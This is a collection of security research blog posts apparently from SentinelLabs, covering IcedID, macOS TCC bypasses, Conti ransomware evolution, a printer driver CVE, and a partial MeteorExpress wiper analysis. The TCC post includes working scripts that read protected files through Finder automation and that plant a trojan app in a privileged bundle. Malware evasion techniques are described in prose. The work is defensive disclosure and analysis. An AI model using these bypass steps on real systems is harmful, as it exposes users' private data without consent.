Looking at related domains by the same actor shows the breadth of activity. When tracking this campaign, the domain mappingmorrage[.]top had numerous duplicates of the “.jpg” file and the second stage binary associated with this campaign. Multiple file names are used such as “sizeQuery.jpg”, “sizeTempStruct.jpg”, “tmpSizeLocal.jpg” and so on.

IcedID related files on VirusTotal


Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this case, the “.jpg” file is actually a DLL. Analysis of the file’s exports reveals the DLLRegisterServer function, which is an obvious candidate for the initial installer of the IcedID malware.

PE Studio

To unpack this binary, we can load rundll32.exe in xdbg64 and use the command line option to specify the exported function in sizeTeamStruct.dll, as shown in the screenshot below.

Loading rundll + DLL with the exported function

To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute the run command until the breakpoint is hit. We want to look for the call that is responsible for allocating memory in the address space and dump the binary from the address location.

Unpacked IcedID

Looking at the dumped binary in PE Studio what catches the attention are the WinHttpOpenRequest, WinHttpSendRequest, and WinHttpReceiveResponse functions.

The WinHttpOpenRequest creates an HTTP request handle and stores the specified parameters in that handle, while WinHttpSendRequest sends the specified request to the C2 server and the WinHttpReceiveResponse waits to receive the response.

PE Studio with the unpacked IcedID

After loading the binary into xdbg64, we add the breakpoint on WinHttpOpenRequest. When this breakpoint is hit, we can see from the disassembly that the code is generating the domain through an xoring operation. This helps us to understand how the C2 value is generated.

Checking aws.amazon.com connectivity

Some of the domains collected from our analysis of around 500 samples of IcedID included:


These appear to be masked through CloudFlare IPs. For example,


The malware’s main module functions to steal credentials from the victim’s machine, exfiltrating information back to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS type, username, computer name, and CPU domain, giving the operators a good understanding of the compromised environment.

_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit
_ga: Processor CPUID information
_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__io: Domain id
_gid: NIC
IceID exfiltrates environmental data via a cookie

Discovering network traffic with the headers listed above is an indication that the host has been infected with IcedID malware.


Many IcedID attacks begin with a phishing email and users opening the attachment. In this campaign, IcedID uses a maldoc in the initial infection stage in an attempt to bypass defenses by interacting with the contents of the document itself. The use of an HTA file with its dependency on IE’s mshta.exe is reasonably unusual behavior that defenders can monitor for in their environments. This, along with other techniques such as changing the file extension and the behavior of the DLL, should be detected by a capable Next Gen security solution.

Indicators of Compromise


The post Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros appeared first on SentinelLabs.

Bypassing macOS TCC User Privacy Protections By Accident and Design

1 July 2021 at 14:17

Executive Summary

  • TCC is meant to protect user data from unauthorized access, but weaknesses in its design mean that protections are easily overridden inadvertently.
  • Automation, by design, allows Full Disk Access to be ‘backdoored’ while also lowering the authorization barrier.
  • Multiple partial and full TCC bypasses are known, with at least one actively exploited in the wild.
  • TCC does not prevent processes reading and writing to ‘protected’ locations, a loophole that can be used to hide malware.


In recent years, protecting sensitive user data on-device has become of increasing importance, particularly now that our phones, tablets and computers are used for creating, storing and transmitting the most sensitive data about us: from selfies and family videos to passwords, banking details, health and medical data and pretty much everything else.

With macOS, Apple took a strong position on protecting user data early on, implementing controls as far back as 2012 in OSX Mountain Lion under a framework known as ‘Transparency, Consent and Control’, or TCC for short. With each iteration of macOS since then, the scope of what falls under TCC has increased to the point now that users can barely access their own data – or data-creating devices like the camera and microphone – without jumping through various hoops of giving ‘consent’ or ‘control’ to the relevant applications through which such access is mediated.

There have been plenty of complaints about what this means with regards to usability, but we do not intend to revisit those here. Our concern in this paper is to highlight a number of ways in which TCC fails when users and IT admins might reasonably expect it to succeed.

We hope that by bringing attention to these failures, users and admins might better understand how and when sensitive data can be exposed and take that into account in their working practices.

Crash Course: What’s TCC Again?

Apple’s latest platform security guide no longer mentions TCC by name, but instead refers to ‘protecting app access to user data’. The current version of the platform security guide states:

“Apple devices help prevent apps from accessing a user’s personal information without permission using various technologies…[in] System Preferences in macOS, users can see which apps they have permitted to access certain information as well as grant or revoke any future access.”

In common parlance, we’re talking about privacy protections that are primarily managed by the user in System Preferences’ Privacy tab of the Security & Privacy pane.

System Preferences.app provides the front-end for TCC

Mac devices controlled by an MDM solution may also set various privacy preferences via means of a Profile. Where in effect, these preferences will not be visible to users in the Privacy pane above. However, they can be enumerated via the TCC database. The command for doing so changes slightly with Big Sur and later.

macOS 11 (Big Sur) and later:

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,auth_value FROM access WHERE service=='kTCCServiceSystemPolicyAllFiles'" | grep '2'$

macOS 10.15 (Catalina) and earlier:

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,allowed FROM access WHERE service == 'kTCCServiceSystemPolicyAllFiles'" | grep '1'$

The command line also presents users and administrators with the /usr/bin/tccutil utility, although its claim to offer the ability “to manage the privacy database” is a little exaggerated since the only documented command is reset. The tool is useful if you need to blanket wipe TCC permissions for the system or a user, but little else.

The spartan man page from tccutil

Under the hood, all these permissions are managed by the TCC.framework at /System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd.

Strings in tccd binary reveal some of the services afforded TCC protection

Looked at in a rather narrow way with regard to how users work with their Macs in practice, one could argue that the privacy controls Apple has designed with this framework work as intended when users (and apps) behave as intended in that narrow sense. However, as we shall now see, problems arise when one or both go off script.

Full Disk Access – One Rule That Breaks Them All

To understand the problems in Apple’s implementation of TCC, it’s important to understand that TCC privileges exist at two levels: the user level and the system level. At the user level, individual users can allow certain permissions that are designed only to apply to their own account and not others. If Alice allows the Terminal access to her Desktop or Downloads folders, that’s no skin off Bob’s nose. When Bob logs in, Terminal won’t be able to access Bob’s Desktop or Downloads folders.

At least, that’s how it’s supposed to work, but if Alice is an admin user and gives Terminal Full Disk Access (FDA), then Alice can quite happily navigate to Bob’s Desktop and Downloads folders (and everyone else’s) regardless of what TCC settings Bob (or those other users) set. Note that Bob is not afforded any special protection if he is an admin user, too. Full Disk Access means what it says: it can be set by one user with admin rights and it grants access to all users’ data system-wide.

While this may seem like good news for system administrators, there are implications that may not be readily apparent, and these implications affect the administrator’s own data security.

When Alice grants FDA permission to the Terminal for herself, all users now have FDA permission via the Terminal as well. The upshot is that Alice isn’t only granting herself the privilege to access others’ data, she’s granting others the privilege to access her data, too.

Surprisingly, Alice’s (no doubt) unintended permissiveness also extends to unprivileged users. As reported in CVE-2020-9771, allowing the Terminal to have Full Disk Access renders all data readable without any further security challenges: the entire disk can be mounted and read even by non-admin users. Exactly how this works is nicely laid out in this blog post here, but in short any user can create and mount a local snapshot of the system and read all other users’ data.

Even Standard users can read Admin’s private data

The ‘trick’ to this lies in two command line utilities, both of which are available to all users: /usr/bin/tmutil and /sbin/mount. The first allows us to create a local snapshot of the entire system, and the second to mount that snapshot as an apfs read-only file system. From there, we can navigate all users data as captured on the mounted snapshot.

It’s important to understand that this is not a bug and will not be fixed (at least, ‘works as intended’ appears to be Apple’s position at the time of writing). The CVE mentioned above was the bug for being able to exploit this without Full Disk Access. Apple’s fix was to make it only possible when Full Disk Access has been granted. The tl;dr for Mac admins?

When you grant yourself Full Disk Access, you grant all users (even unprivileged users) the ability to read all other users’ data on the disk, including your own.

Backdooring Full Disk Access Through Automation

This situation isn’t restricted only to users: it extends to user processes, too. Any application granted Full Disk Access has access to all user data, by design. If that application is malware, or can be controlled by malware, then so does the malware. But application control is managed by another TCC preference, Automation.

And here lies another trap: there is one app on the Mac that always has Full Disk Access but never appears in the Full Disk Access pane in System Preferences: the Finder.

Any application that can control the Finder (listed in ‘Automation’ in the Privacy pane) also has Full Disk Access, although you will see neither the Finder nor the controlling app listed in the Full Disk Access pane.

Because of this complication, administrators must be aware that even if they never grant FDA permissions, or even if they lock down Full Disk Access (perhaps via MDM solution), simply allowing an application to control the Finder in the ‘Automation’ pane will bypass those restrictions.

Automating the Finder allows the controlling app Full Disk Access

In the image above, Terminal, and two legitimate third party automation apps, Script Debugger and FastScripts, all have Full Disk Access, although none are shown in the Full Disk Access privacy pane:

Apps that backdoor FDA through Automation are not shown in the FDA pane

As noted above, this is because the Finder has irrevocable FDA permissions, and these apps have been given automation control over the Finder. To see how this works, here’s a little demonstration.

~  osascript<<EOD
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Although the Terminal is not granted Full Disk Access, if it has been granted Automation privileges for any reason in the past, executing the script above in the Terminal will return the contents of whatever the file “private.txt” contains. As “private.txt” is located on the user’s Desktop, a location ostensibly protected by TCC, users might reasonably expect that the contents of this file would remain private if no applications had been explicitly granted FDA permissions. This is demonstrably not the case.

Backdooring FDA access through automating the Finder

The obvious mitigation here is not to allow apps the right to automate the Finder. However, let’s note two important points about that suggestion.

First, there are many legitimate reasons for granting automation of the Finder to the Terminal or other productivity apps: any mildly proficient user who is interested in increasing their productivity through automation may well have done so or wish to do so. Unfortunately, this is an “All-In” deal. If the user has a specific purpose for doing this, there’s no way to prevent other less legitimate uses of Terminal’s (or other programs’) use of this access.

Second, backdooring FDA access in this way results in a lowering of the authorization barrier. Granting FDA in the usual way requires an administrator password. However, one can grant consent for automation of the Finder (and thus backdoor FDA) without a password. A consent dialog with a simple click-through will suffice:

A simple ‘OK’ gives access to control the Finder, and by extension Full Disk Access.

While the warning text is explicit enough (if the user reads it), it is far from transparent that given the Finder’s irrevocable Full Disk Access rights, the power being invested in the controlling app goes far beyond the current user’s consent, or control.

As a bonus, this is not a per-time consent. If it has ever been granted at any point in the past, then that permission remains in force (and thus transparent, in the not-good sense, to the user) unless revoked in System Preferences ‘Automation’ pane or via the previously mentioned tccutil reset command.

The tl;dr: keep a close and regular eye on what is allowed to automate the Finder in your System Preferences Privacy pane.

The Sorry Tale of TCC Bypasses

Everything we’ve mentioned so far is actually by design, but there is a long history of TCC bypasses to bear in mind as well. When macOS Mojave first went on public release, SentinelOne was the first to note that TCC could be bypassed via SSH (this finding was later duplicated by others). The indications from multiple researchers are that there are plenty more bypasses out there.

The most recent TCC bypass came to light after it was discovered being exploited by XCSSET malware in August 2020. Although Apple patched this particular flaw some 9 months later in May 2021, it is still exploitable on systems that haven’t been updated to macOS 11.4 or the latest security update to 10.15.7.

On a vulnerable system, it’s trivially easy to reproduce.

  1. Create a simple trojan application that needs TCC privileges. Here we’ll create an app that needs access to the current user’s Desktop to enumerate the files saved there.
    % osacompile -e 'do shell script "ls -al /Users/sphil/Desktop >> /tmp/lsout"' -o /tmp/ls.app
  2. Copy this new “ls.app” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop.
    % cp -R /tmp/ls.app /Applications/Some\ Privileged.app/

    One way you can find the current permitted list of apps is from the ‘Files and Folders’ category in the Privacy tab of System Preferences’ Security & Privacy pane (malware takes another route, as we’ll explain shortly).

  3. Execute the trojan app:
    % open /Applications/Some\ Privileged.app/ls.app

Security-minded readers will no doubt be wondering how an attacker achieves Step 2 without already having knowledge of TCC permissions – you can’t enumerate the list of privileged apps in the TCC.db from the Terminal unless Terminal already has Full Disk Access.

Assuming the target hasn’t already granted Terminal FDA privileges for some other legitimate reason (and who hasn’t these days?), an attacker, red teamer or malware could instead enumerate over the contents of the /Applications folder and take educated guesses based on what’s found there, e.g., Xcode, Camtasia, and Zoom are all applications that, if installed, are likely to be privileged.

Similarly, one could hardcode a list of apps known to have such permissions and search the target machine for them. This is precisely how XCSSET malware works: the malware is hardcoded with a list of apps that it expects to have screen capture permissions and injects its own app into the bundle of any of those found.

Decoded strings from XCSSET malware reveals a list of apps it exploits for TCC permissions

Unfortunately, the fix for this particular bug doesn’t effectively stop malware authors. If the bypass fails, it’s a simple matter to just impersonate the Finder and ask the user for control. As with the Automation request, this only requires the user to click-through their consent rather than provide a password.

Fake Finder App used by XCSSET malware to access protected areas

As we noted above, the (real) Finder already has Full Disk Access by default, so users seeing a request dialog asking to grant the Finder access to any folder should immediately raise suspicion that something is amiss.

TCC – Just One More Thing

That almost wraps up our tour of TCC gotchas, but there’s one more worth pointing out. A common misunderstanding with Apple’s User privacy controls is that it prevents access to certain locations (e.g., Desktop, Documents, Downloads, iCloud folders). However, that is not quite the case.

Administrators need to be aware that TCC doesn’t protect against files being written to TCC protected areas by unprivileged processes, and similarly nor does it stop files so written from being read by those processes.

A process can write to a TCC protected area, and read the files it writes

Why does this matter? It matters because if you have any kind of security or monitoring software installed that doesn’t have access to TCC-protected areas, there’s nothing to stop malware from hiding some or all of its components in these protected areas. TCC isn’t going to stop malware using those locations – a blind spot that not every Mac sys administrator is aware of – so don’t rely on TCC to provide some kind of built-in protected ‘safe-zone’. That’s not how it works, when it works at all.


We’ve seen how macOS users can easily and unknowingly expose data they think is protected by TCC simply by doing the things that macOS users, particularly admins, are often inclined to do. Ironically, most of these ‘inadvertent breaches’ are only possible because of TCC’s own lack of transparency. Why, for example, is the Finder not listed in the Full Disk Access pane? Why is it not clear that Automation of the Finder backdoors Full Disk Access? And why is password-authentication downgraded to a simple consent prompt for what is, effectively, the same privilege?

Other questions raised by this post concern whether consent should have finer grained controls so that prompts can be optionally repeated at certain intervals, and – perhaps most importantly –  whether users should be able to protect their own data by being allowed to opt out of FDA granted by other users on the same device.

We know that malware abuses some of these loopholes, and that various TCC bugs exist that have yet to be patched. Our only conclusion at this point has to be that neither users nor admins should place too much faith in the ability of TCC as it is currently implemented to protect data from unauthorized access.

The post Bypassing macOS TCC User Privacy Protections By Accident and Design appeared first on SentinelLabs.

Conti Unpacked | Understanding Ransomware Development As a Response to Detection

8 July 2021 at 15:56

By Idan Weizman & Antonio Pirozzi

Not yet two years old and already in its seventh iteration, Ransomware as a Service variant Conti has proven to be an agile and adept malware threat, capable of both autonomous and guided operation and with unparalleled encryption speed. As of June 2021, Conti’s unique feature set has helped its affiliates extort several million dollars from over 400 organizations.

In this report, we describe in unprecedented detail the rapid evolution of this ransomware and how it has adapted quickly to defenders’ attempts to detect and analyze it. In this post, we summarize our main findings.

Read the Full Report

Conti Background

Conti is developed and maintained by the so-called TrickBot gang, and it is mainly operated through a RaaS affiliation model. The Conti ransomware is derived from the codebase of Ryuk and relies on the same TrickBot infrastructure.

Initially, Ryuk and later Conti were delivered exclusively by TrickBot. However, by March 2021, as detections for TrickBot improved, BazarLoader/BazarBackdoor began to be used as the tool of choice for the delivery of Conti.

Conti samples first began to be seen around October 2019. Recent attacks, such as that on Ireland’s public health service, demonstrate that Conti has succeeded in becoming just as dangerous if not more so than its predecessor, for both organizations and the public at large. There are 399 reported Conti incidents at the time of writing:

Reported Conti incidents – Source: DarkTracer

In common with many other ransomware families, Conti also operates a leaks site in order to put further pressure on its victims to pay.

Conti – Evolution With Focus

This technical analysis aims to outline the Conti phylogenesis since the ransomware first appeared on the scene, in order to build a comprehensive knowledge of Conti’s evolution and its development pipeline.

For this study, we clustered Conti samples by timestamps. All the samples used in this research are readily available from OSINT and are recognized as Conti both by the community and by static and dynamic analysis done herein.

We found that each iteration implemented new features in Conti and evolved existing ones. In particular, we see a focus on the following key ransomware characteristics across the evolution of Conti variants:

Obfuscation: Since the early ‘test samples’ (late 2019), Conti started implementing a simple XOR mechanism to hide the API names resolved at runtime. From June 2020, a custom encoding function for string obfuscation was also employed, creating difficulties for static analysis and detection tools.

Speed: Conti uses up to 32 concurrent CPU threads for file encryption operations. Starting from the iteration of September 2020, the developers switched from AES to the CHACHA algorithm to further speed up the encryption process. This translates into less time required to lock victims’ data and reduce the chance of the operation being blocked.

File Encryption: starting from September 2020, a new logic for file encryption was added. The logic implements two different modes: full and partial. depending on file extension and file dimension. From January 2021, encryption through IoCompletionPorts was replaced by C++ queues and locks.

The Early Samples

The earliest sample of Conti we found dates from the end of 2019 and includes indications that it’s an early test version (e.g., the ransom note contains the text “test note”). It took eight months for this version to make headlines, but analysis of this ‘prototype’ helps us understand how Conti developed over time.

SHA-256: 2f334c0802147aa0eee90ff0a2b0e1022325b5cba5cb5236ed3717a2b0582a9c
Packed: Yes
Timestamp: 2019/10/06 14:08:28
File Type: EXE

SHA-256: 4f43a66d96270773f4e849055a844feb6ef234d7340b797f8763b7a9f8d80583
Packed: Yes
Timestamp: 2019/10/06 12:43:23
File Type: DLL

SHA-256: 94bdec109405050d31c2748fe3db32a357f554a441e0eae0af015e8b6461553e
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

SHA-256: 77b1fcae9e8f0a5a739c35961382e2b3f239a05c1135c4a8efe1964a263d5a47
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

These early samples have only a few imported functions linked at load time. Therefore, the first thing the code does is manually load required libraries at runtime using LoadLibraryA and GetProcAddress.

Moreover, all API names are encoded using a simple XOR with the byte 0x99. The names of DLLs are not encoded in this early version, save for some optional imports from Rstrtmgr.dll, the DLL responsible for Microsoft’s Windows’ Restart Manager function. The GetProcAddress function ends by making sure it’s got all the mandatory APIs it was looking for. Otherwise, it exits the program with ExitProcess.

Getting the last import and checking all imports are found

Two resources loaded from the PE file are of particular note. The first will be used as the text for the ransom note (which is set to “test note” in this earliest version), while the second is a list of comma-separated strings denoting files that should be encrypted in case they contain a substring from the list.

The hardcoded ransom note

In cases where the resource has a value of “null”, all files are encrypted except for a hardcoded list. This allows for simple modifications to the ReadMe text or for targeted encryption of specific files, without recompiling the ransomware.

In this early version, all running processes on the system are iterated. Processes containing “sql” in them are terminated with TerminateProcess.

Terminating processes containing ‘sql’

Our full technical report explores more details of this prototype version, but the last point we shall note here is that at the end of the encryption process, the file will be moved, adding the extension .CONTI to the end of it.

Conti Appears In The Wild

Two months later a new version appeared with the inclusion of a real ransom note instead of the embedded “test note”. Other minor changes include changes to the XOR key from 0x99 to 0x0F. More significantly, the ransomware now loads all imports at runtime, with the exception of LoadLibraryA, GetProcAddress, and for some unknown reason, CreateThread. This import is used to boost speed through parellelization as the ransomware looks for files to encrypt across all available drives.

Six months later, in July 2020, Conti had a third iteration and hit the headlines for the first time. String obfuscation has received a significant upgrade with the single-byte XOR key replaced by a custom encoding function, represented by the following pseudo code:

Improved string obfuscation method

The constants (a, b) are different for every encoded string. Additionally, more strings are obfuscated in comparison with the previous samples, although some are still left open on the stack (i.e., DLL names).

There are further changes to how APIs are loaded, but a noticeable lack of consistency, which reinforces the view that multiple developers with different areas of responsibility may be involved in Conti.

A notable new feature is the ability to accept command line arguments, meaning Conti can now be controlled by a human operator for improved targeting. The options include the ability to select the encryption mode (only local, only SMB shares, or both) as well as allowing a list of network locations to search for shares, and adding files found on such shares to the encryption list.

Conti’s Developers Respond To Detection Engines

By September 2020, Conti was making bigger waves, with press reports of an attack on the Fourth District Court of Louisiana claiming the U.S. court’s website was knocked offline and that stolen documents relating to defendants, witnesses and jurors were leaked.

By this time, Conti was on the radar of most endpoint security solutions and the developers clearly took notice. The next iteration includes a greater number of changes than the previous versions, with a heavy emphasis on evasion and anti-analysis.

For the most part, Conti now does not embed the plain names of DLLs and their required exports, but instead, only keeps a hash of the strings it needs. To get the requisite imports, it iterates through NtCurrentPeb()->Ldr->InLoadOrderModuleList, at first looking for the module kernel32.dll by the hash of its name, later on finding the LoadLibraryA API in the same manner, iterating over exports until the hashes match.

Only kernel32.dll is found by hash. The rest of the DLL names are embedded in the executable, now obfuscated, and are loaded using the LoadLibraryA API.

A newly implemented hook removal logic takes place after loading all the necessary DLLs. For each loaded DLL, Conti reads its file on disk and goes through all the exports in it, looking for a difference in the first few bytes. If any such difference is found between the disk version and the in-memory version, the bytes in memory are replaced by the bytes read from disk. This feature is aimed at bypassing some modern EPP/EDR platforms. Security products will often hook processes in order to fully monitor malicious activity. Conti targets this methodology specifically in the hopes of disarming security products lacking robust anti-tamper features.

There are a number of significant changes to the main logic, features and encryption, explored in greater detail in the full technical report. For example, the encryption algorithm is changed from AES to ChaCha. The keys are still generated randomly per file and written to the end of the file after being encrypted with an embedded RSA public key located in the data section of the binary.

Ever-focused on speed to beat mitigation attempts, Conti now includes a hardcoded list of 171 file extensions for which the whole content of the file is encrypted along with a further list of 20 file extensions for which only some part of the file is encrypted. Other files are categorized by size such that:

  • Files smaller than 1MiB are encrypted whole.
  • Files larger than 1MiB and smaller than 5MiB have only their first 1MiB encrypted.
  • Files larger than 5MiB are partially encrypted in jumps.

The extension of encrypted files is now changed from .CONTI to .YZXXX in a bid to avoid simple ransomware detection logic based on known extension changes.

Refining a Successful RaaS Model

Late 2020 saw further iteration with Conti now refining its ransom note to contain more contact information including website, TOR node, email and a “customer” UUID.

Example of recent Conti ransom note

Affiliates were offered a new command line option for logging errors as well as other improvements. To keep detection engines at bay, Conti included more dead code and busy loops to hinder simulation and static analysis.

Through early 2021, the developers changed the seed for their custom hash function twice across two more iterations. From this point on, we find samples more frequently, both packed and unpacked. Some samples are practically the same, except for the embedded public RSA key, the extension used for encrypted files, and the text placed inside the ReadMe file. Other than that, most changes going forward per new sample are minor.


We took a deep dive into the evolution of Conti ransomware, gaining some insight into the process of developing ransomware. Most notably, we saw how many changes take place to increase the evasiveness of the malware from detections and complicate the analysis process. Most meaningful changes and additions to the ransomware were done prior to September-October 2020, at which point, the developers needed only to make minor refinements to stay ahead of the detection curve and keep the money rolling in for their affiliates. Today, Conti is a mature project that is being used actively and aggressively to compromise and extort victims on a daily basis. Read the full report for further details and a complete list of IOCs.

Read the Full Report

Read the Full Report

The post Conti Unpacked | Understanding Ransomware Development As a Response to Detection appeared first on SentinelLabs.

CVE-2021-3438: 16 Years In Hiding – Millions of Printers Worldwide Vulnerable

20 July 2021 at 10:58

Executive Summary

  • SentinelLabs has discovered a high severity flaw in HP, Samsung, and Xerox printer drivers.
  • Since 2005 HP, Samsung, and Xerox have released millions of printers worldwide with the vulnerable driver.
  • SentinelLabs’ findings were proactively reported to HP on Feb 18, 2021 and are tracked as CVE-2021-3438, marked with CVSS Score 8.8.
  • HP released a security update on May 19th to its customers to address this vulnerability.

As part of our commitment to secure the internet for all users, our researchers have engaged in an open-ended process of vulnerability discovery for targets that impact wide swaths of end users. Our research has been consistently fruitful, particularly in the area of OEM drivers[1, 2]. Many of these drivers come preloaded on devices or get silently dropped when installing some innocuous legitimate software bundle and their presence is entirely unknown to the users. These OEM drivers are often decades old and coded without concern for their potential impact on the overall integrity of those systems.

Our research approach has allowed us to proactively engage with vendors and manufacturers to patch previously unknown vulnerabilities before they can be exploited in the wild. We will continue our efforts to reduce the overall attack surface available to cunning adversaries.

Discovering an HP Printer Driver Vulnerability

Several months ago, while configuring a brand new HP printer, our team came across an old printer driver from 2005 called SSPORT.SYS thanks to an alert by Process Hacker once again.

This led to the discovery of a high severity vulnerability in HP, Xerox, and Samsung printer driver software that has remained hidden for 16 years. This vulnerability affects a very long list of over 380 different HP and Samsung printer models as well as at least a dozen different Xerox products.

The beginning of a long list of affected HP and Samsung products
A number of Xerox Products are also affected by CVE-2021-3438

Since all of these models are in fact manufactured by HP, we reported the vulnerability to them.

Technical Details

Just by running the printer software, the driver gets installed and activated on the machine regardless of whether you complete the installation or cancel.

Thus, in effect, this driver gets installed and loaded without even asking or notifying the user. Whether you are configuring the printer to work wirelessly or via a USB cable, this driver gets loaded. In addition, it will be loaded by Windows on every boot:

This makes the driver a perfect candidate to target since it will always be loaded on the machine even if there is no printer connected.

The vulnerable function inside the driver accepts data sent from User Mode via IOCTL (Input/Output Control) without validating the size parameter:

The vulnerable function inside the driver

This function copies a string from the user input using strncpy with a size parameter that is controlled by the user. Essentially, this allows attackers to overrun the buffer used by the driver.

An interesting thing we noticed while investigating this driver is this peculiar hardcoded string: "This String is from Device [email protected]@@@ ".

The hardcoded string in the vulnerable driver

It seems that HP didn’t develop this driver but copied it from a project in Windows Driver Samples by Microsoft that has almost identical functionality; fortunately, the MS sample project does not contain the vulnerability.


An exploitable kernel driver vulnerability can lead an unprivileged user to a SYSTEM account and run code in kernel mode (since the vulnerable driver is locally available to anyone). Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Successfully exploiting a driver vulnerability might allow attackers to potentially install programs, view, change, encrypt or delete data, or create new accounts with full user rights. Weaponizing this vulnerability might require chaining other bugs as we didn’t find a way to weaponize it by itself given the time invested.


Generally speaking, it is highly recommended that in order to reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs when creating kernel device objects, verify user input and not expose a generic interface to kernel mode operations.


This vulnerability and its remedies are described in HP Security Advisory HPSBPI03724 and Xerox Advisory Mini Bulletin XRX21K. We recommend HP/Samsung/Xerox customers, both enterprise and consumer, to apply the patch as soon as possible.

To mitigate this issue users should use this link and look for their printer model and then download the patch file as shown in the picture:

Some Windows machines may already have this driver without even running a dedicated installation file, since the driver comes with Microsoft Windows via Windows Update:

The driver is marked as “File Distributed by Microsoft” in VirusTotal

Note: Not all affected products were initially listed on the advisory page. We initially conducted a small sample test and found other products vulnerable, so we recommend further verification.


This high severity vulnerability, which has been present in HP, Samsung, and Xerox printer software since 2005, affects  millions of devices and likely millions of users worldwide. Similar to previous vulnerabilities we have disclosed that remained hidden for 12 years (1, 2), the impact this could have on users and enterprises that fail to patch is far-reaching and significant.

While we haven’t seen any indicators that this vulnerability has been exploited in the wild up till now, with millions of printer models currently vulnerable, it is inevitable that if attackers weaponize this vulnerability they will seek out those that have not taken the appropriate action.

We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

18 Feb, 2021 – Initial report.
23 Feb, 2021 – We notified HP that the same issue exists in Samsung and Xerox printers.
19 May, 2021 – HP released an advisory for CVE-2021-3438.
20 May, 2021 – We notified HP that the “affected products” listing is incomplete and provided extra information.
01 Jun, 2021 – HP updated the list of affected products.

The post CVE-2021-3438: 16 Years In Hiding – Millions of Printers Worldwide Vulnerable appeared first on SentinelLabs.

MeteorExpress | Mysterious Wiper Paralyzes Iranian Trains with Epic Troll

29 July 2021 at 10:56

Executive Summary

  • On July 9th, 2021 a wiper attack paralyzed the Iranian train system.
  • The attackers taunted the Iranian government as hacked displays instructed passengers to direct their complaints to the phone number of the Iranian Supreme Leader Khamenei’s office.
  • SentinelLabs researchers were able to reconstruct the majority of the attack chain, which includes an interesting never-before-seen wiper.
  • OPSEC mistakes let us know that the attackers refer to this wiper as ‘Meteor’, prompting us to name the campaign MeteorExpress.
  • At this time, we have not been able to tie this activity to a previously identified threat group nor to additional attacks. However, the artifacts suggest that this wiper was developed in the past three years and was designed for reuse.
  • To encourage further discovery of this new threat actor, we are providing indicators as well as hunting YARA rules for fellow security researchers.


On July 9th, 2021 reports began to surface of a wiper attack disrupting service for the Iranian railway system. The attack included epic level trolling as reports suggest that train schedule displays cited “long delay[s] because of cyberattack” along with instructions to contact ‘64411’ –the number for the office of Supreme Leader Ali Khamenei.

Iran International (Twitter)

Early reporting did not pick up much steam as it’s not uncommon for Iranian authorities to vaguely point the finger towards cyber attacks only to retract the claims later. But it doesn’t hurt to check.

We would like to acknowledge security researcher Anton Cherepanov who pointed out an early analysis (Farsi) by an Iranian antivirus company. Despite a lack of specific indicators of compromise, we were able to recover most of the attack components described in the post along with additional components they had missed. Behind this outlandish tale of stopped trains and glib trolls, we found the fingerprints of an unfamiliar attacker.

The Attack Chain

MeteorExpress Attack Chain

Though early reports did not include technical specifics, we were able to reconstruct most of the attack components relying on a combination of factors – early analysis by Padvish security researchers as well as a recovered attacker artifact that included a longer list of component names. The attackers abused Group Policy to distribute a cab file to conduct their attack.

The overall toolkit consists of a combination of batch files orchestrating different components dropped from RAR archives. The archives decompressed with an attacker supplied copy of Rar.exe coupled with the password ‘hackemall’. The wiper components are split by functionality: Meteor encrypts the filesystem based on an encrypted configuration, nti.exe corrupts the MBR, and mssetup.exe locks the system.

While we were able to recover a surprising amount of files for a wiper attack, some have eluded us. The MBR corrupter, nti.exe, is most notable among those missing components as Padvish researchers noted that the sectors overwritten by this component are the same as those overwritten by NotPetya. Until we are able to find this file, we can’t corroborate their finding.

The following is a breakdown of the central components of this attack.

The Batch Files

The majority of the attack is orchestrated via a set of batch files nested alongside their respective components and chained together in successive execution.

The following is a short description of the main functionality of these batch files.


setup.bat is the first component executed via group policy. Interestingly, it deletes a scheduled task called ‘AnalyzeAll’ under the Windows Power Efficiency Diagnostics directory. At this time, we haven’t been able to identify this task. This batch file is responsible for copying the initial components via a CAB file in a network share within the Iranian railways network. The CAB file is expanded and update.bat is executed with the parameters ‘hackemall’, relevant paths, and the Meteor wiper executable (env.exe).


envxp.bat appears to be a simpler alternative version of setup.bat. As the name suggests, perhaps it’s intended for Windows XP.

update.bat is a well written batch script that takes care of placing the remaining files and directing the remainder of the execution flow by calling the successive batch scripts. It takes three arguments: the password for the rar archives, the working directory, and the location of the payload. If the first two parameters are empty, it’ll exit smoothly. In the absence of a payload, the script attempts to run msapp.exe. That component is listed in the Padvish security writeup but the execution flow via setup.bat points to env.exe as the intended payload. We’ll delve into this component below.

update.bat’s makeshift mutex

The script checks for a hardcoded ‘lock_file’ under C:\Windows\Temp\__lock6423900.dat. The file serves as a makeshift mutex to avoid double execution and could double as a vaccine to avoid infection during development.

update.bat directing the execution flow to subsequent batch files

The batch file uses its own copy of WinRAR to decompress additional components from three additional archives (programs.rar, bcd.rar, ms.rar) using the same Pokemon-themed password, “hackemall” (Hack ’Em All). With each RAR archive, update.bat calls a subsequent batch archive before deleting the respective archive. The developers are very careful about cleaning up their components as soon as they’re used.

At this point the execution begins to bifurcate into other scripts. The first one is cache.bat, which focuses on clearing obstacles and preparing the ground for subsequent elements with the use of PowerShell.

cache.bat disabling network adapters and checking for Kaspersky antivirus

cache.bat performs three main functions. First, it will disconnect the infected device from the network. Then it checks to see if Kaspersky antivirus is installed on the machine, in which case it’ll exit.

cache.bat creating Windows Defender exclusions for attack components

